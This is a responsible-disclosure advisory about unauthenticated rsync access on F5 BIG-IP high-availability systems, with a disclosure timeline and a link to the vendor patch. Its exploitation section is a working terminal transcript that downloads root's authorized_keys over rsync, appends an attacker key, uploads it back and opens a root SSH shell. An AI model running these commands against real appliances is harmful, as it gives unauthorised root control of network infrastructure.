security-assessment.com

Vulnerability Advisory

Name	Unauthenticated rsync access to Remote Root Code Execution
Vendor Website	https://f5.com
Affected Software	F5 BIG-IP 11.x versions before 11.6.0, 11.5.1 HF3, 11.5.0 HF4, 11.4.1 HF, 11.4.0 HF7, 11.3.0 HF9, and 11.2.1 HF11, Enterprise Manager 3.x versions before 3.1.1 HF2
Date Released	28/08/2014
Researchers	Thomas Hibbert thomas.hibbert@security-assessment.com

Description

When configured in a high availability mode, the F5 solution suffers from an unauthenticated rsync access vulnerability that can be leveraged to upload a malicious SSH key and gain remote root access to the appliance.

The BigIP platform configures an rsync daemon listening on the ConfigSync interfaces when the system is configured in a failover mode. The rsync daemon as currently configured does not require any authentication and the “cmi” module has complete read/write access to the system. If the ConfigSync IP addresses are accessible by a malicious third party, it is possible to upload an authorized_keys file directly into the /var/ssh/root directory and then open a root SSH session on the f5 device.

Exploitation

```
cartel@barfajt:~/.ssh$ rsync rsync://192.168.66.2/cmi/var/ssh/root/authorized_keys .
cartel@barfajt:~/.ssh$ ssh-keygen
Generating public/private rsa key pair.
Enter file in which to save the key (/home/cartel/.ssh/id_rsa):
/home/cartel/.ssh/id_rsa already exists.
Overwrite (y/n)? y
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /home/cartel/.ssh/id_rsa.
Your public key has been saved in /home/cartel/.ssh/id_rsa.pub.
The key fingerprint is:
df:94:32:9a:67:99:b5:59:77:ba:1d:57:31:32:b7:5f cartel@barfajt
The key's randomart image is:
+--[ RSA 2048]----+
|                 |
|                 |
|             o + |
|            .+ +|
|        S o + ..E|
|         + O + o=|
|        o * + ..o|
|         o     oo|
|               . .|
+-----------------+
cartel@barfajt:~/.ssh$ cat authorized_keys id_rsa.pub >> key
cartel@barfajt:~/.ssh$ rsync key rsync://192.168.66.2/cmi/var/ssh/root/authorized_keys
cartel@barfajt:~/.ssh$ ssh -i id_rsa root@192.168.66.2
Enter passphrase for key 'id_rsa':
Last login: Fri Jan 31 18:12:48 2014 from 192.168.49.153
[root@localhost:Active:Standalone] config #
```

Solution

F5 have published a detailed advisory, including patch and mitigation information, at the following URL:

http://support.f5.com/kb/en-us/solutions/public/15000/200/sol15236.html

Disclosure Timeline

24-04-2014: Vendor notified at security-reporting@f5.com
24-04-2014: Vendor responds with intent to investigate, opening a support ticket to track the issue
05-05-2014: First follow up sent
06-05-2014: Vendor responds with internal bug numbers
10-05-2014: Vendor advises code fixes are complete and offers an embargo date of 29-08-2014 for advisory release
12-05-2014: Embargo date accepted
29-08-2014: Advisory released

About Security-Assessment.com

Security-Assessment.com is Australasia's leading team of Information Security consultants specialising in providing high quality Information Security services to clients throughout the Asia Pacific region. Our clients include some of the largest globally recognised companies in areas such as finance, telecommunications, broadcasting, legal and government. Our aim is to provide the very best independent advice and a high level of technical expertise while creating long and lasting professional relationships with our clients.

Security-Assessment.com is committed to security research and development, and its team continues to identify and responsibly publish vulnerabilities in public and private software vendor's products. Members of the Security-Assessment.com R&D team are globally recognised through their release of whitepapers and presentations related to new security research.

For further information on this issue or any of our service offerings, contact us:

Web www.security-assessment.com

Email info@security-assessment.com

Phone +64 4 470 1650